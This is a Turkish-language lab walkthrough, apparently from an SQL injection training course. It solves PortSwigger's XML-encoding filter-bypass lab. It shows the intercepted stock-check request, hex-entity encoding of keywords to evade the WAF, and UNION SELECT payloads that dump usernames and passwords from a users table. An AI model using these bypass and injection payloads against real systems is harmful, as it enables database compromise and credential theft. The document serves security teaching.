> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/filter-evasion-techniques-filtre-atlatma-teknikleri/sql-injection-with-filter-bypass-via-xml-encoding-cozumu.md).

# SQL injection with filter bypass via XML encoding Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Stock check özelliğinde sqli varmış. Uygulama sorgunun cevabını query olarak döndüğü için UNION ile veri çekebilirmişiz. Databasede kullanıcı isim ve şifrelerini içeren users tablosu varmış. Çözmek için admin kullanıcısının verilerini çekip, hesabına girmemiz gerekiyor.

Sayfa aşağıdaki gibi:

<figure><img src="/files/gOLfXvTAsNNyAJjN8UVB" alt=""><figcaption></figcaption></figure>

**BBQ Suitcase** için ‘View Details’ a basalım.

<figure><img src="/files/L6r4aA54ZRqcTHf8Ll8m" alt=""><figcaption></figcaption></figure>

aşağıda ‘Check stock’ tuşu var buna tıklayıp isteği yakalayıp burp repeater’a atalım:

<figure><img src="/files/AIxMyggt9U8hAzDYerXT" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
POST /product/stock HTTP/2
Host: 0a22004f03e3bdec81a43f5e00f30023.web-security-academy.net
Cookie: session=jWkWn7zGIeYEQh7UHe1tvHXQbq0ZYepi
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0a22004f03e3bdec81a43f5e00f30023.web-security-academy.net/product?productId=1>
Content-Type: application/xml
Content-Length: 107
Origin: <https://0a22004f03e3bdec81a43f5e00f30023.web-security-academy.net>
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
```

productId dediği veri şuan girdiğimiz ürün olan ‘BBQ Suitcase’, storeId dediği ise de şuan seçili olan London. Buradan veri alıyor sistem, yukardaki isteği gönderince cevap olarak şunu dönüyor:

<figure><img src="/files/GOzHySvBftWpIUZOznrX" alt=""><figcaption></figcaption></figure>

Burada sqli storeId den yapılacak (bize burp içine hackverter extension kurmayı önermiş tavsiye ederim kolaylık sağlıyor.)

Deneme yapalım:

`<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>[buraya payload]</storeId></stockCheck>`

payload kısmına OR, UNION, SELECT yazınca(küçük harfle yazsak da) ‘Attack detected’ diyor. (WAF filtreliyor demek). Mesela OR’u hex encode edelim anlıcak mı waf.

Bunu yapmak için normalde cyberchef kullanıp encode edebilirsiniz ama hackverterle kolay yoldan yapıcaz: (extension olarak kurmanız lazım hackverter’ı)

payload yerine OR yazın sonra yazıyı seçipı:

Extensions→Hackverter→Encode→hex\_entities

<figure><img src="/files/XCt1R9tgNtcDbr45jbsT" alt=""><figcaption></figcaption></figure>

```xml
<?xml version="1.0" encoding="UTF-8"?>
	<stockCheck>
		<productId>
					1
		</productId>
		<storeId>
			<@hex_entities>
					OR
			</@hex_entities>
		</storeId>
	</stockCheck>
```

isteği yukardaki gibi atınca `‘Attack detected’` dönmedi onun yerine `0 units` döndü.

(hackverter’ın avantajı normal yazıyoruz ama giderken aralığı encode ediyor)

Yani hex olarak yollayınca WAF’a takılmıyoruz.

şimdi UNION sorgusu deneyelim kaç sütün çektiğini bulmaya çalışalım.

`1 UNION SELECT null--`

(Önemli detay `1' UNION SELECT null--` diye `‘` kullanırsanız, `0 units` dönüyor, sebebi sorguyu bozması sebebi sorguyu yazan kişi sayı olduğu için tırnak işareti kullanmadan yazmış. )

cevap olarak:

```xml
772 units
null
```

döndü sunucu geri yolluyorsa tek sütün var demek emin olmak için:

`1 UNION SELECT null,null--` atarsanız `0 units` dönüyor.

şimdi string dönmesi gerekiyor zaten çözebilmemiz için ama yine test için string bir veri gönderelim:

`1 UNION SELECT 'deneme'--`

cevap olarak:

`772 units deneme`

dönüyor demek ki string dönüyor. Artık string concentation ile son veriyi çekebiliriz:

`1 UNION SELECT username || ' ve ' || password FROM users--`

çıktı geldi:

```bash
carlos ve r52y2qmn49r53faxpff6
772 units
wiener ve zks005woymhp1j7kqkvf
administrator ve eod5bcln6rd7rut4b1ci
```

adminsitrator ile giriş yapmak için login’e gidip labı tamamlayalım:

<figure><img src="/files/d99evgCa0kWUNXO5w3eR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/O4mjG402QOTQ3H783rxy" alt=""><figcaption></figcaption></figure>
